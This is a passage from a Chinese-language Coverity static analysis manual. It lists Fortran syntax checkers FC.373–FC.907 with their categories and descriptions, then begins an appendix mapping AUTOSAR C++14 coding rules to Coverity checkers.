FC.373	语法错误	变量的形状与掩码表达式的形状不同
FC.374	语法错误	将数组表达式赋值给了标量
FC.375	错误表达式	赋值中的整数溢出
FC.376	错误表达式	预期为标量整数变量名称
FC.377	错误表达式	预期为标量整数表达式
FC.378	代码改进	指针未在本地管理，在模块中指定 SAVE
FC.379	错误地使用实体	在纯过程中对非本地变量的运算无效
FC.380	错误表达式	掩码表达式的形状与外部 WHERE 构造的形状不同
FC.381	未定义的实体	未定义相同类型的等价变量
FC.382	未使用的实体	未引用相同类型的等价变量
FC.383	非最佳类型转换	截断了字符常数（表达式）
FC.384	非最佳类型转换	截断了字符变量（表达式）
FC.385	语法错误	无效使用了构造名称
FC.386	语法错误	预期为构造名称
FC.387	语法错误	非匹配构造名称
FC.388	语法错误	无效构造嵌套
FC.389	语法错误	逻辑 IF 中语句无效
FC.390	语法错误	构造中不允许有语句
FC.391	语法错误	太多 ENDIF
FC.392	语法错误	ELSE 必须介于 IF 和 ENDIF 之间
FC.393	语法错误	缺少 ENDIF

名称	类别	说明
FC.394	语法错误	THEN 缺失
FC.395	语法错误	无效 ELSEIF 和 ELSE 序列
FC.397	语法错误	在此 IF 级别上有多个 ELSE
FC.398	语法错误	无效 DO 循环增量参数
FC.399	语法错误	无效隐含 DO 规范

Table 7.3. Coverity Fortran Syntax Analysis 检查器 (400-599)

名称	类别	说明
FC.400	语法错误	无效 DO 循环规范
FC.401	语法错误	在无效 IF 级别有循环终止语句
FC.402	语法错误	DO 构造的终止语句无效
FC.403	语法错误	将控件转换为构造无效
FC.404	语法错误	引用自外部构造
FC.405	语法错误	在构造中重新定义了 DO 变量或 FORALL 索引
FC.406	信息	在之前的构造或构造块中没有操作语句
FC.407	语法错误	DO 构造的终止语句次序颠倒
FC.408	语法错误	DO 构造缺少终止语句
FC.409	语法错误	缺少 END LOOP 或 UNTIL
FC.410	语法错误	缺少 END WHILE 或 UNTIL
FC.411	语法错误	太多 END DO、END LOOP 或 END WHILE
FC.412	语法错误	在无效 CASE 级别有 DO 构造终止语句
FC.413	代码改进	共用 DO 终止
FC.414	语法错误	在 SELECT RANK 构造中错误使用了 RANK(*)
FC.415	语法错误	太多 END BLOCK
FC.416	语法错误	缺少 END BLOCK
FC.418	语法错误	类型与 SELECT CASE 表达式类型不一致
FC.419	语法错误	种类与 SELECT CASE 表达式种类不一致
FC.420	语法错误	指定的值范围无效
FC.421	语法错误	重叠 CASE 范围

名称	类别	说明
FC.422	语法错误	预期在 SELECT CASE 语句后有 CASE 语句
FC.423	语法错误	CASE 语句必须在 CASE 构造内
FC.424	语法错误	太多 END SELECT
FC.425	语法错误	缺少 END SELECT
FC.426	语法错误	在 CASE 构造中仅允许有一个 CASE DEFAULT 语句
FC.427	语法错误	在无效 DO 级别有语句
FC.428	语法错误	在无效 IF 级别有语句
FC.429	语法错误	在无效 CASE 级别有语句
FC.430	语法错误	在 WHERE 后有无效语句
FC.431	语法错误	在范围外排名
FC.432	语法错误	太多 END WHERE
FC.433	语法错误	ELSEWHERE 必须在 WHERE 构造内
FC.434	语法错误	缺少 END WHERE
FC.435	语法错误	太多 END FORALL
FC.436	语法错误	缺少 END FORALL
FC.437	语法错误	在 forall triplet 规范列表中引用了 FORALL 索引
FC.438	代码改进	DO 构造终止语句已过时
FC.439	语法错误	在该 SELECT TYPE 构造中已选择类型
FC.440	语法错误	太多 END ASSOCIATES
FC.441	语法错误	SELECT TYPE 构造中不允许有语句
FC.442	语法错误	在该 SELECT RANK 构造中已选择排名
FC.443	语法错误	在无效的 SELECT RANK 级别存在 RANK 或 RANK DEFAULT
FC.444	语法错误	在 SELECT RANK 构造中仅允许有一个 RANK DEFAULT 语句
FC.445	语法错误	在 SELECT TYPE 构造中仅允许有一个 CLASS DEFAULT 语句
FC.446	语法错误	缺少输出项目列表
FC.447	语法错误	无效输入/输出列表

名称	类别	说明
FC.448	代码改进	不允许有“,”
FC.449	语法错误	无效使用了圆括号
FC.450	语法错误	无效引用了标准单元
FC.451	语法错误	不允许有表式 I/O
FC.452	语法错误	预期为序列格式化访问
FC.453	语法错误	无效引用了内部文件
FC.454	语法错误	可能的递归 I/O 尝试
FC.455	不受支持	无法识别或不受支持的说明符
FC.456	不受支持	非标准 Fortran 说明符
FC.457	语法错误	指定了多次
FC.458	语法错误	无效使用了说明符
FC.459	语法错误	未指定单元
FC.460	语法错误	未指定单元或文件名
FC.461	语法错误	指定了单元或文件名
FC.462	语法错误	无效的或缺少 IO 单元标识符
FC.463	语法错误	缺少或无效的格式说明符
FC.464	代码改进	格式规范中缺少分隔符
FC.465	语法错误	预期为语句标签
FC.466	语法错误	OPEN、CLOSE 或 INQUIRE 列表中多个
FC.467	语法错误	预期为“FMT=”或“NML=”
FC.468	语法错误	仅序列 READ 或 WAIT 语句中允许有“END=”
FC.469	语法错误	擦除文件中不允许有“FILE=”
FC.470	语法错误	仅直接访问文件中允许有“RECL=”
FC.471	语法错误	仅格式化文件中允许有“BLANK=”
FC.472	语法错误	仅外部格式化序列 I/O 中允许有“ADVANCE=”
FC.473	语法错误	仅包含“ADVANCE=NO”或 WAIT 的 READ 中允许有“EOR=”
FC.474	语法错误	未指定记录大小
FC.475	语法错误	仅包含“ADVANCE=NO”的 READ 中允许有“SIZE=”
FC.476	语法错误	必须声明为 EXTERNAL
FC.477	语法错误	说明符的组合无效

名称	类别	说明
FC.478	语法错误	无效使用了名单名称
FC.479	语法错误	预期为名单名称
FC.480	语法错误	仅外部文件中允许有名单 I/O
FC.481	信息	之前已定义名单的扩展
FC.482	语法错误	无效类型
FC.483	不受支持	无法识别的值
FC.484	语法错误	无效使用了值
FC.485	信息	非标准 Fortran 值
FC.486	语法错误	无效重复
FC.487	语法错误	缺少重复
FC.488	语法错误	无效使用了重复
FC.489	语法错误	无效使用了比例因子
FC.490	信息	非标准编辑描述符
FC.491	语法错误	缺少或无效宽度
FC.492	语法错误	无效编辑描述符
FC.493	语法错误	纯过程中不允许有外部 I/O
FC.494	未使用的实体	名单未引用
FC.495	信息	名单组中有多个
FC.496	未定义的实体	名单组未定义
FC.497	语法错误	仅 ext. 文件中允许有数据流和异步 I/O , 而 * 单元中不允许有
FC.498	语法错误	仅序列 I/O 允许有名单 I/O
FC.499	语法错误	伴随子程序语句缺失或错误
FC.500	未定义的实体	无主程序单元
FC.501	信息	递归引用
FC.502	信息	可能的递归引用
FC.503	多次声明实体	多个主程序单元
FC.504	多次声明实体	多个未命名 BLOCKDATA
FC.505	多次声明实体	多次声明 BLOCKDATA
FC.506	多次声明实体	多次声明程序单元或条目
FC.507	多次声明实体	多次声明语句函数
FC.508	代码改进	条目未分离
FC.509	语法错误	未指定名称
FC.510	多次声明实体	多次声明接口 , 此次被忽略

名称	类别	说明
FC.511	语法错误	需要显式接口
FC.512	语法错误	无效子程序或函数引用
FC.513	错误地使用实体	无效使用了过程名称
FC.514	语法错误	子程序/函数冲突
FC.515	语法错误	无效子程序类型
FC.516	语法错误	无效使用了 EXTERNAL
FC.517	语法错误	过程实际参数必须声明为 EXTERNAL 或 INTRINSIC
FC.518	代码改进	引用的过程未声明为 EXTERNAL
FC.519	信息	外部过程的名称与模块过程名称相同
FC.520	语法错误	引用的过程未声明为 EXTERNAL
FC.521	语法错误	无效使用了通用名称
FC.522	语法错误	与(模块)过程语句的接口必须为通用
FC.523	语法错误	过程已存在于此接口具体过程列表中
FC.524	可移植性	不允许在通用接口中混合子程序和函数
FC.525	语法错误	定义的运算符过程必须为函数
FC.526	语法错误	定义的赋值过程必须为子程序
FC.527	语法错误	未发现匹配固有过程或具体过程
FC.528	信息	在接口块中未指定过程接口
FC.529	语法错误	递归引用
FC.530	语法错误	可能的递归引用
FC.531	信息	函数不纯
FC.532	语法错误	类型与函数类型冲突
FC.533	语法错误	类型长度与函数类型长度冲突
FC.534	语法错误	函数类型与第一次出现时不一致
FC.535	语法错误	函数类型长度与第一次出现时不一致
FC.536	信息	函数类型长度与第一次出现时不一致
FC.537	语法错误	函数引用的形状与第一次引用的形状不同

名称	类别	说明
FC.538	语法错误	函数引用的形状与函数结果的形状不同
FC.539	语法错误	过程必须具有私有可访问性
FC.540	语法错误	多个前缀属性规范
FC.541	语法错误	前缀属性组合无效
FC.542	语法错误	过程必须纯
FC.543	语法错误	无效使用了前缀规范
FC.544	语法错误	元素过程的虚拟参数必须为标量
FC.545	语法错误	元素过程的虚拟参数不能为指针或可分配
FC.546	语法错误	元素过程必须为标量
FC.547	语法错误	元素过程不能为指针或可分配
FC.548	语法错误	元素过程中不允许有虚拟过程参数
FC.549	代码改进	引用的固有过程未声明为 INTRINSIC
FC.550	语法错误	无效使用了备用返回
FC.551	语法错误	无效虚拟参数列表
FC.552	语法错误	无效使用了参数
FC.553	语法错误	无效使用了虚拟参数
FC.554	语法错误	无效虚拟参数
FC.555	语法错误	参数列表中有多个
FC.556	信息	参数未在语句函数中引用
FC.557	信息	虚拟参数未使用
FC.558	语法错误	缺少参数列表
FC.559	语法错误	参数缺失，或未发现对应实际参数
FC.560	语法错误	错误数量的参数
FC.561	语法错误	错误参数类型
FC.562	语法错误	错误参数属性
FC.563	语法错误	参数数量与第一次出现时不一致
FC.564	信息	参数数量与第一次出现时不一致
FC.565	语法错误	参数数量与规范不一致
FC.566	语法错误	实际参数列表中缺少参数关键字
FC.567	语法错误	参数关键字不匹配任何虚拟参数
FC.568	语法错误	参数类与第一次出现时不一致

名称	类别	说明
FC.569	信息	类型与第一次出现时不一致
FC.570	语法错误	参数类与规范不一致
FC.571	语法错误	参数类型与第一次出现时不一致
FC.572	代码改进	类型与第一次出现时不一致
FC.573	语法错误	参数类型与规范不一致
FC.574	语法错误	参数类型与第一次出现 (int/log) 时不一致
FC.575	语法错误	参数类型与第一次出现 (int/log) 时不一致
FC.576	语法错误	参数类型与规范 (int/log) 不一致
FC.577	语法错误	参数类型与第一次出现 (int/real) 时不一致
FC.578	信息	参数类型与第一次出现 (int/real) 时不一致
FC.579	语法错误	参数类型与规范 (int/real) 不一致
FC.580	语法错误	参数类型长度与第一次出现时不一致
FC.581	信息	类型长度与第一次出现时不一致
FC.582	语法错误	参数类型长度与规范不一致
FC.583	语法错误	函数参数的类型与第一次出现时不一致
FC.584	信息	函数参数的类型与第一次出现时不一致
FC.585	语法错误	参数类型种类与第一次出现时不一致
FC.586	信息	类型种类与第一次出现时不一致
FC.587	语法错误	函数参数的类型与规范不一致
FC.588	语法错误	参数类型种类与规范不一致
FC.589	语法错误	此参数的形状必须作为参数提供
FC.590	语法错误	数组与标量冲突
FC.591	信息	数组与标量冲突
FC.592	信息	参数是数组元素，而它在之前引用中是数组
FC.593	信息	参数是数组，而它在之前引用中是数组元素

名称	类别	说明
FC.594	信息	实际参数是数组元素，而虚拟参数是数组
FC.595	信息	参数的形状与第一次出现不同
FC.596	语法错误	参数的形状与规范不同
FC.597	信息	参数的形状与规范不同
FC.598	语法错误	实际数组或字符变量短于虚拟数组或字符变量
FC.599	语法错误	数组或字符长度与第一次出现不同

Table 7.4. Coverity Fortran Syntax Analysis 检查器 (600-799)

名称	类别	说明
FC.600	语法错误	参数的属性与第一次出现时不一致
FC.601	语法错误	实际参数的属性与规范不一致
FC.602	语法错误	无效修改：实际参数是常数或表达式
FC.604	语法错误	无效修改：实际参数是活动 DO 变量
FC.605	信息	可能的无效修改：实际参数是常数或表达式
FC.607	信息	可能的无效修改：实际参数是活动 DO 变量
FC.608	代码改进	未指定 INTENT，在引用的子程序中指定 INTENT(IN)
FC.609	语法错误	虚拟参数不能为 OPTIONAL
FC.610	语法错误	无条件地使用了可选虚拟参数
FC.611	语法错误	实际参数是可选虚拟参数，而虚拟参数不是
FC.612	语法错误	预期为可选虚拟参数
FC.613	语法错误	指针参数不允许有 INTENT
FC.614	语法错误	此虚拟参数需要 INTENT(IN)
FC.615	语法错误	此虚拟参数需要 INTENT(OUT) 或 INTENT(INOUT)
FC.616	未定义的实体	引用的输入或输入/输出参数未定义
FC.617	信息	有条件引用的参数未定义
FC.618	信息	可能引用的输入或输入/输出参数可能未定义

名称	类别	说明
FC.622	语法错误	虚拟函数必须作为输入参数指定
FC.623	代码改进	固有过程是具体的
FC.624	语法错误	与固有过程名称冲突
FC.625	可移植性	非标准 Fortran 固有过程
FC.626	语法错误	无固有过程
FC.627	语法错误	不允许将此固有函数作为实际参数
FC.628	语法错误	类型与具有相同名称的固有函数冲突
FC.629	语法错误	固有过程的参数数量无效
FC.630	语法错误	固有过程的参数类型无效
FC.631	语法错误	固有过程的参数类型长度无效
FC.632	信息	固有函数被显式分类
FC.633	语法错误	无效使用了内置函数
FC.634	语法错误	无效修改，语句中有多个变量
FC.635	信息	可能的无效修改：语句中有多个变量
FC.636	语法错误	必须为此虚拟参数指定 INTENT
FC.637	语法错误	具体过程无唯一参数列表
FC.638	语法错误	无效地重新定义了固有运算或赋值
FC.639	信息	类型不是通用固有函数的类型
FC.640	语法错误	通用过程引用无法唯一求解
FC.641	语法错误	参数必须是可分配变量
FC.642	语法错误	参数必须具有 POINTER 属性
FC.643	语法错误	参数必须具有 POINTER 或 TARGET 属性
FC.644	未使用的实体	从模块导入的实体未被使用
FC.645	语法错误	模块不能直接或间接地引用它本身
FC.647	多次声明实体	多个(子)模块规范
FC.648	语法错误	(子)模块与程序单元或条目名称之间存在冲突
FC.649	代码改进	模块已被引用，但没有唯一列表或重命名列表
FC.650	语法错误	无效重命名子句
FC.651	信息	已从主机或相同模块导入

名称	类别	说明
FC.652	多次声明实体	从多个模块中导入了实体：请勿引用
FC.653	语法错误	实体不是导入模块的公共实体
FC.654	未使用的实体	(子)模块未使用
FC.665	代码改进	浮点数据与常数的等式或不等式比较
FC.666	语法错误	未定义的运算
FC.667	未定义的实体	未定义：虚拟参数未在输入参数列表中
FC.668	未定义的实体	可能未定义：虚拟参数未在输入参数列表中
FC.669	代码改进	未在本地关联，在模块中指定 SAVE 以保留数据
FC.670	语法错误	实际参数必须为变量
FC.671	语法错误	实际参数列表中有多个变量
FC.672	语法错误	活动 DO 变量对此实际参数无效
FC.673	未使用的实体	未在本地引用
FC.674	未使用的实体	过程、程序单元或条目未被引用
FC.675	未使用的实体	未使用指定的常数
FC.676	未使用的实体	未使用公共块的任何对象
FC.677	未使用的实体	未引用公共块的任何对象
FC.678	未使用的实体	未使用库文件中存储的任何实体。
FC.679	未使用的实体	未使用公共块对象。
FC.680	未使用的实体	未引用公共块对象。
FC.681	未使用的实体	未使用指定的实体。
FC.682	未定义的实体	未定义过程
FC.683	未定义的实体	引用前未定义公共块对象
FC.684	未定义的实体	引用前可能未定义公共块对象
FC.685	未使用的实体	生成特定过程不需要通用名称
FC.686	语法错误	与常数名称冲突
FC.687	语法错误	必须使用常数表达式指定类型长度
FC.688	语法错误	隐式特征与主机上下文中的特征不一致
FC.689	代码改进	类型长度与函数类型长度不一致

名称	类别	说明
FC.690	代码改进	类型长度与第一次引用的类型长度不一致
FC.691	代码改进	类型长度与规范不一致
FC.692	语法错误	过程的结果必须是标量
FC.693	语法错误	存储关联与具有 TARGET 属性的对象冲突
FC.694	语法错误	虚拟过程参数的明确性与第一次出现时不一致
FC.695	语法错误	没有为此类型提供的定义赋值
FC.696	语法错误	实体不是主机作用域单元中的可访问实体
FC.697	未声明的实体	名称未显式分类，假定为隐式类型
FC.698	代码改进	隐式转换为更高精度的类型
FC.699	代码改进	实数或复数隐式转换为整数
FC.700	未声明的实体	未声明对象
FC.701	代码改进	元素的类型长度与第一个元素不一致
FC.702	语法错误	预期为标量默认字符表达式
FC.703	语法错误	过程不能具有 POINTER 或 TARGET 属性
FC.704	语法错误	在继承类型参数列表中出现多次
FC.705	语法错误	不能为该对象指定 VALUE 属性
FC.706	错误地使用实体	受保护的对象不能在其模块外修改
FC.707	代码改进	模块过程不是从其模块外引用的
FC.708	语法错误	END INTERFACE 语句丢失
FC.709	语法错误	不允许针对带类型的分配使用源表达式
FC.710	语法错误	在带源的分配中只允许使用一个源表达式
FC.711	代码改进	已声明 RECURSIVE 但未递归引用
FC.712	语法错误	先辈或父（子）模块名称丢失
FC.713	语法错误	接口名称丢失
FC.714	未使用的实体	未引用抽象接口
FC.715	语法错误	在顺序或互操作类型中不允许使用类型边界过程

名称	类别	说明
FC.716	语法错误	组件不能具有类型参数的名称。
FC.717	未定义的实体	未指定继承类型参数
FC.718	语法错误	CLASS 组件必须可分配或是指针
FC.719	语法错误	过程组件必须是指针
FC.720	语法错误	继承类型定义中没有指定任何组件
FC.721	语法错误	没有指定任何类型边界过程
FC.722	语法错误	预期为外部或模块过程
FC.723	未定义的实体	未定义类型边界过程
FC.724	语法错误	需要 DEFERRED 属性
FC.725	语法错误	不允许 DEFERRED 属性
FC.726	语法错误	在结构构造函数中缺少组件关键字
FC.727	语法错误	在类型参数规范列表中缺少关键字
FC.728	语法错误	错误的或缺少语言绑定规范：预期为 BIND(C)
FC.729	语法错误	枚举中没有任何枚举器
FC.730	语法错误	END ENUM 丢失
FC.731	语法错误	此上下文中不允许有接口名称
FC.732	语法错误	此上下文中不允许有过程属性
FC.733	语法错误	此上下文中不允许有分隔符
FC.734	语法错误	语句仅允许位于（非独立）接口体中
FC.735	语法错误	需要显式或抽象接口
FC.736	语法错误	不允许将此固有函数用作接口名称
FC.737	语法错误	预期 SELECT TYPE 之后为 TYPE IS、CLASS IS 或 CLASS DEFAULT
FC.738	语法错误	预期为关联名称
FC.739	语法错误	关联列表丢失
FC.740	语法错误	选择器丢失
FC.741	语法错误	无效赋值
FC.742	语法错误	选择器必须是多态
FC.743	语法错误	未找到传递的对象的虚拟参数
FC.744	语法错误	继承类型参数的数量错误
FC.745	语法错误	固有过程的实参种类类型参数无效
FC.746	代码改进	指定的类型种类或长度不一致

名称	类别	说明
FC.747	语法错误	数组构造函数中的每个元素都必须具有相同种类
FC.748	代码改进	元素种类与第一个元素的种类不一致
FC.749	语法错误	受保护和不受保护的对象等量混合
FC.750	不受支持	假定的默认种类类型参数不受支持
FC.751	不受支持	假定的默认种类不受支持
FC.752	不受支持	假定的默认种类字符集不受支持
FC.753	语法错误	每个元素都必须具有相同的种类类型参数
FC.754	语法错误	没有对象可分配或释放
FC.755	语法错误	无法识别关键字
FC.756	语法错误	需要类型规范或源表达式
FC.757	未使用的实体	未从模块导入任何实体
FC.758	语法错误	过程指针指向无效目标
FC.759	语法错误	过程已存在于此继承类型的最终子程序列表中
FC.760	语法错误	最终过程没有唯一的参数列表
FC.761	语法错误	类型参数被多次指定或未知
FC.762	语法错误	空参数列表
FC.763	语法错误	不允许使用待定类型参数
FC.764	语法错误	不允许使用假定类型参数
FC.765	语法错误	必须假定每个长度类型参数
FC.766	语法错误	不允许使用 SEQUENCE 类型或 BIND 属性
FC.767	语法错误	类型必须是选择器的扩展
FC.768	语法错误	必须指定 NOPASS
FC.769	语法错误	需要传递的对象的参数。
FC.770	语法错误	参数必须是数据对象
FC.771	语法错误	继承类型 i/o 过程必须是子程序
FC.772	语法错误	类型必须是抽象的
FC.773	语法错误	参数必须是标量
FC.774	语法错误	参数必须是多态
FC.775	语法错误	参数不能是多态

名称	类别	说明
FC.776	语法错误	通用规范的可访问性必须与最初相同
FC.777	代码改进	指定的可访问性不一致
FC.778	语法错误	类型不兼容
FC.779	语法错误	CLASS 实体必须是虚拟的、可分配的，或是指针
FC.780	语法错误	实体不可访问
FC.781	语法错误	实体必须是可互操作的
FC.782	语法错误	类型种类与函数的类型种类冲突
FC.783	语法错误	函数类型种类与第一次出现时不一致
FC.784	代码改进	类型种类与函数的类型种类不一致
FC.785	代码改进	类型种类与第一次引用的类型种类不一致
FC.786	代码改进	类型种类与规范不一致
FC.787	语法错误	无效使用了抽象类型
FC.788	语法错误	无效覆盖绑定
FC.789	语法错误	组件名称不唯一
FC.790	语法错误	未定义组件
FC.791	语法错误	继承类型必须是可扩展的
FC.792	语法错误	实体不能是显式形状数组
FC.793	语法错误	INTENT 不允许用于非指针虚拟过程参数
FC.794	语法错误	实体不能具有 POINTER 属性
FC.795	语法错误	实体不能具有 PROTECTED 属性
FC.796	语法错误	预期为虚拟实参且带假定类型形参
FC.797	语法错误	虚拟参数不能是元素过程
FC.798	语法错误	无效的形状规范
FC.799	语法错误	不允许指定的语言绑定

Table 7.5. Coverity Fortran Syntax Analysis 检查器 (800-907)

名称	类别	说明
FC.800	多次声明实体	多次声明过程
FC.801	不受支持	预期为继承类型名称
FC.802	语法错误	不允许的类型边界过程列表

名称	类别	说明
FC.803	语法错误	无效使用了不限格式项
FC.804	语法错误	预期为标量默认整数或字符常数表达式
FC.806	语法错误	无效的集合数组规范
FC.807	语法错误	参数不能具有多态可分配组件
FC.808	语法错误	预期为 NULL()
FC.809	语法错误	预期为 NULL() 或过程名称
FC.810	语法错误	在无效的 SELECT TYPE 级别有 TYPE IS、CLASS IS 或 CLASS DEFAULT
FC.811	语法错误	无效的参数值
FC.812	未使用的实体	未使用继承类型组件
FC.813	未使用的实体	未引用继承类型组件
FC.814	未定义的实体	未定义继承类型组件
FC.815	未定义的实体	未分配继承类型组件
FC.816	未定义的实体	未关联继承类型组件
FC.817	语法错误	不正确的集合数组类型
FC.818	语法错误	不能扩展父类型
FC.819	语法错误	预期为非指针不可分配标量
FC.820	语法错误	预期为带 POINTER 属性的数组
FC.821	语法错误	目标必须是相邻的
FC.822	语法错误	缺少集合数组规范
FC.823	语法错误	函数结果不能是集合数组
FC.824	语法错误	函数结果的类型不能具有集合数组最终组件
FC.825	语法错误	集合数组必须是虚拟参数、可分配、在 main 中，或者是已保存
FC.826	语法错误	必须是虚拟参数或已保存
FC.827	语法错误	不允许使用待定共同形状规范
FC.828	语法错误	需要使用待定共同形状规范
FC.829	语法错误	预期为数组指针、假定形状或假定排名数组
FC.830	语法错误	实际参数必须为连续数组
FC.831	语法错误	实体不能为集合数组

名称	类别	说明
FC.832	语法错误	类型不允许用于 INTENT(OUT) 参数
FC.833	语法错误	集合数组不能具有 POINTER 属性
FC.834	语法错误	无效使用了联合索引或图像选择器
FC.835	语法错误	无效的下标数量
FC.836	语法错误	缺少共同形状规范
FC.837	语法错误	没有实体列表的 SAVE 在 BLOCK 构造中是无效的
FC.838	未定义的实体	未定义输入或输入/输出参数
FC.839	语法错误	无效使用了分布式对象
FC.840	语法错误	目标有无效排名
FC.841	代码改进	未在模块外使用模块对象
FC.842	语法错误	组件必须具有 POINTER 和/或 ALLOCATABLE 属性
FC.843	语法错误	CRITICAL 或 DO CONCURRENT 构造中不允许使用语句
FC.844	语法错误	没有找到对应的 CRITICAL 语句
FC.845	语法错误	缺少 END CRITICAL
FC.846	语法错误	集合数组不能在该构造中分配或释放。
FC.847	语法错误	将构造转换为控件无效
FC.848	语法错误	无效的编辑描述符列表
FC.849	语法错误	预期为标量字符常数表达式
FC.850	语法错误	先辈模块不能是固有的
FC.851	语法错误	模块性质冲突
FC.854	语法错误	属性不一致
FC.855	语法错误	虚拟参数名称不一致
FC.856	语法错误	特征不一致
FC.857	信息	固有模块与非固有模块的名称相同
FC.858	信息	非固有模块与固有模块的名称相同
FC.859	未使用的实体	未引用的变量，用作实际参数
FC.860	语法错误	预期为标量默认字符常数表达式
FC.861	语法错误	BIND(C) 属性或绑定标签不一致
FC.862	多次声明实体	绑定标签不唯一
FC.863	语法错误	预期为初始化表达式

名称	类别	说明
FC.864	语法错误	假定类型实体必须是虚拟变量
FC.865	语法错误	假定类型变量名称只能用作实际参数
FC.866	语法错误	假定排名变量名称只能用作实际参数
FC.867	语法错误	预期为假定形状或假定排名参数
FC.868	语法错误	假定排名实体必须是虚拟数据对象
FC.869	语法错误	无效使用了过程指针
FC.870	代码改进	虚拟参数没有 INTENT 属性
FC.871	语法错误	INTENT(IN) 虚拟参数不能修改
FC.872	语法错误	INTENT(IN) 虚拟参数指针不能修改
FC.873	未定义的实体	INTENT(OUT) 虚拟参数未定义
FC.874	未定义的实体	INTENT(OUT) 虚拟参数指针未关联或已失效
FC.875	代码改进	INTENT(INOUT) 虚拟参数在该过程中未修改
FC.876	代码改进	INTENT(INOUT) 指针关联在该过程中未修改
FC.877	代码改进	INTENT(INOUT) 虚拟参数在引用前已定义
FC.878	代码改进	INTENT(INOUT) 虚拟参数指针在引用前已修改
FC.879	语法错误	显式 RESULT 变量必须针对直接递归声明。
FC.880	语法错误	预期为规范表达式
FC.881	语法错误	缺少 END ASSOCIATE('s)
FC.882	未定义的实体	指针关联未定义
FC.883	未定义的实体	一个或多个组件的指针关联未定义
FC.885	语法错误	预期为数组元素或标量结构组件
FC.886	语法错误	CASE 语句中的表达式不在选择器范围内
FC.887	未使用的实体	未引用数组
FC.888	未使用的实体	未使用数组
FC.889	信息	形状与第一次出现时不同
FC.890	语法错误	查询特性必须在先前的规范中指定

名称	类别	说明
FC.891	语法错误	先辈模块的 USE 是不允许的
FC.892	信息	易失性和非易失性对象等量混合
FC.893	语法错误	无效修改：实际参数有一个向量下标
FC.894	语法错误	整数的十进制范围必须至少是默认整数的范围
FC.895	语法错误	在 DO CONCURRENT 构造中不允许使用 'ADVANCE=' 说明符
FC.896	语法错误	语句函数不能具有参数化继承类型
FC.897	语法错误	先辈声明没有单独的模块过程
FC.898	未定义的实体	变量未定义
FC.899	未定义的实体	未定义相同类型的等价变量
FC.900	信息	使用了可选的虚拟参数，而不通过 PRESENT 进行验证
FC.901	信息	已指定 IMPORT
FC.902	语法错误	在 SELECT RANK 构造的选择器中预期为假定排名数组
FC.903	语法错误	仅在继承类型定义中允许使用语句
FC.905	语法错误	遇到 END TEAM SELECT TEAM 但不存在伴随的 SELECT TEAM
FC.906	语法错误	比 END TEAM 具有更多的 SELECT TEAM 语句
FC.907	语法错误	内部过程不能出现在接口块中

---

# Appendix A. AUTOSAR C++14 标准

## Table of Contents

A.1. 概述 .....	984
---------------	-----

### A.1. 概述

Coverity Analysis 可以识别违反下表中所列的 AUTOSAR C++14 规则的情况。

要运行 AUTOSAR C++14 分析，您必须将 `--coding-standard-config` 选项传递给 `cov-analyze`。请参阅《Coverity Analysis 用户和管理员指南 》，获取进一步的指导。

#### A.1.1. AUTOSAR C++14 标准

Table A.1. AUTOSAR C++14 标准

名称	说明	Coverity 检查器
A0-1-1	项目不应包含被赋值但未后续使用的非易失性变量的实例。	AUTOSAR C++14 A0-1-1
A0-1-2	应使用不是重载运算符的返回类型为非 void 的函数返回值。	AUTOSAR C++14 A0-1-2
A0-1-3	在匿名命名空间中定义的每个函数、具有内部链接的静态函数或私有成员函数都应被使用。	AUTOSAR C++14 A0-1-3
A0-1-4	非虚函数中不应存在未使用的已命名参数。	AUTOSAR C++14 A0-1-4
A0-1-5	用于虚函数以及覆盖该虚函数的所有函数的参数集中不应存在未使用的已命名参数。	AUTOSAR C++14 A0-1-5
A0-1-6	不应存在未使用的类型声明。	AUTOSAR C++14 A0-1-6
A0-4-2	不应使用类型 long double。	AUTOSAR C++14 A0-4-2
A0-4-4	使用数学函数时，应检查范围、域和极点误差。	AUTOSAR C++14 A0-4-4
A1-1-1	所有代码均应遵守 ISO/IEC 14882:2014 - 编程语言 C++，并且不得使用废弃的功能。	AUTOSAR C++14 A1-1-1
A2-3-1	只应在源代码中使用在 C++ 语言标准基本源字符集中指定的字符。	AUTOSAR C++14 A2-3-1
A2-5-1	不应使用三字符组。	AUTOSAR C++14 A2-5-1
A2-5-2	不应使用双字符组。	AUTOSAR C++14 A2-5-2

名称	说明	Coverity 检查器
A2-7-1	字符 \ 不应作为 C++ 注释的最后一个字符出现。	AUTOSAR C++14 A2-7-1
A2-7-2	不应将代码段“注释掉”。	AUTOSAR C++14 A2-7-2
A2-7-3	“用户定义的”类型、静态和非静态数据成员、函数和方法的所有声明应在文档之后。	AUTOSAR C++14 A2-7-3
A2-10-1	在内部范围中声明的标识符不应隐藏在外部范围中声明的标识符。	AUTOSAR C++14 A2-10-1
A2-10-4	具有静态存储持续时间或静态函数的非成员对象的标识符名称不应在命名空间中重用。	AUTOSAR C++14 A2-10-4
A2-10-5	不应重用具有静态存储持续时间的函数或具有外部或内部链接的非成员对象的标识符名称。	AUTOSAR C++14 A2-10-5
A2-10-6	同一范围内的变量、函数或枚举器声明不应隐藏类或枚举名称。	AUTOSAR C++14 A2-10-6
A2-11-1	不应使用易失性关键字。	AUTOSAR C++14 A2-11-1
A2-13-1	只应使用在 ISO/IEC 14882:2014 中定义的那些转义序列。	AUTOSAR C++14 A2-13-1
A2-13-2	不应连接具有不同编码前缀的字符串常量。	AUTOSAR C++14 A2-13-2
A2-13-3	不应使用类型 wchar_t。	AUTOSAR C++14 A2-13-3
A2-13-4	不应将字符串常量赋值给非常量指针。	AUTOSAR C++14 A2-13-4
A2-13-5	十六进制常量应为大写字母。	AUTOSAR C++14 A2-13-5
A2-13-6	通用字符名称仅应在字符或字符串常量中使用。	AUTOSAR C++14 A2-13-6
A3-1-1	在不违反“一个定义规则”(One Definition Rule) 情况下可以在多个编译单元中包括任何头文件。	AUTOSAR C++14 A3-1-1
A3-1-2	在项目中本地定义的头文件的文件扩展名应为以下之一：“.h”、“.hpp”或“..hxx”。	AUTOSAR C++14 A3-1-2
A3-1-3	在项目中本地定义的实现文件的文件扩展名应为“.cpp”。	AUTOSAR C++14 A3-1-3
A3-1-4	在声明具有外部链接的数组时，应显式声明其大小。	AUTOSAR C++14 A3-1-4
A3-1-5	函数定义在以下条件下只应放在类定义中：(1) 函数将成为内联函数	AUTOSAR C++14 A3-1-5

名称	说明	Coverity 检查器
	(2) 函数是成员函数模板 (3) 函数是类模板的成员函数。	
A3-1-6	应内联不重要访问器和修改器函数。	AUTOSAR C++14 A3-1-6
A3-3-1	应在头文件中声明具有外部链接 (包括已命名空间名称的成员 ) 的对象或函数。	AUTOSAR C++14 A3-3-1
